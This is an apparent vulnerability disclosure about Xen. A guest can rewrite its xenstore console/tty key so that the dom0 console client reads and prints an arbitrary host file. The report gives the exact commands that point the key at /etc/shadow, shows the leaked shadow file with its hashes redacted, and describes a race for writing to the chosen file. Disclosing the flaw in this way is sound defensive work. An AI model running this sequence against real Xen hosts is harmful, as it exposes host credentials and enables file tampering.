The xenstore key /local/domain/<domid>/console/tty is written by the
console backend to allow the console client to connect to the correct
pty (see the console doc in docs/misc). This key is guest-owned (only
when using xl(?)), and so a guest can change it to point to the
location of ie. a sensitive file in dom0, which will be written out
when a console client 'connects' to the file.

mattd@dom0:~$ sudo xl create /etc/xen/blah.cfg
Parsing config from /etc/xen/blah.cfg
Daemon running with PID 24328
mattd@dom0:~$ sudo xenstore-ls -fp /local/domain/`sudo xl domid blah`/console
/local/domain/101/console/backend =
"/local/domain/0/backend/console/101/0"   (n101,r0)
/local/domain/101/console/backend-id = "0"   (n101,r0)
/local/domain/101/console/limit = "1048576"   (n101,r0)
/local/domain/101/console/type = "xenconsoled"   (n101,r0)
/local/domain/101/console/output = "pty"   (n101,r0)
/local/domain/101/console/port = "2"   (n101,r0)
/local/domain/101/console/ring-ref = "709887"   (n101,r0)
/local/domain/101/console/tty = "/dev/pts/1"   (n101,r0)
mattd@dom0:~$ ssh root@blah 'xenstore-write /local/domain/'`sudo xl
domid blah`'/console/tty /etc/shadow'
root@blah's password:
mattd@dom0:~$ sudo xl console blah
root:(oops!):0:99999:7:::


daemon:*:15608:0:99999:7:::


       bin:*:15608:0:99999:7:::
                sys:*:15608:0:99999:7:::
                                        sync:*:15608:0:99999:7:::

games:*:15608:0:99999:7:::

                    man:*:15608:0:99999:7:::

                                            lp:*:15608:0:99999:7:::


mail:*:15608:0:99999:7:::
      news:*:15608:0:99999:7:::
                               uucp:*:15608:0:99999:7:::

proxy:*:15608:0:99999:7:::

           www-data:*:15608:0:99999:7:::

                                        backup:*:15608:0:99999:7:::


list:*:15608:0:99999:7:::
      irc:*:15608:0:99999:7:::
                              gnats:*:15608:0:99999:7:::

nobody:*:15608:0:99999:7:::

            libuuid:!:15608:0:99999:7:::


Debian-exim:!:15608:0:99999:7:::


 statd:*:15608:0:99999:7:::
            sshd:*:15608:0:99999:7:::
                                     mattd:(oops!):15608:0:99999:7:::
   messagebus:*:15609:0:99999:7:::
                                  ntp:*:15834:0:99999:7:::

I'm not sure when this issue was introduced (this was found/checked on
-unstable), so I'm reporting it here in case it's already in a
released version.

This would affect administrators that allow their customers to view
their hvcs remotely (ie. by logging into a restricted dom0 account via
SSH); I know of at least one provider that allows this.

---

After a bit more thought, it's obvious that you can also write to the
guest-specified file if you can race the console client (I'm assuming
tools/console/client here) and put data on its stdin before it gets a
chance to read the entirety of the file (in 512B chunks) and close it.

An attack is made easier since reading stdin takes priority over
reading the file for any given select() loop, you can probably make
the writes to stdout block (fill up the buffer), and you can always
rewrite the xenstore key to get the watch to fire and the file
reopened so you can try again.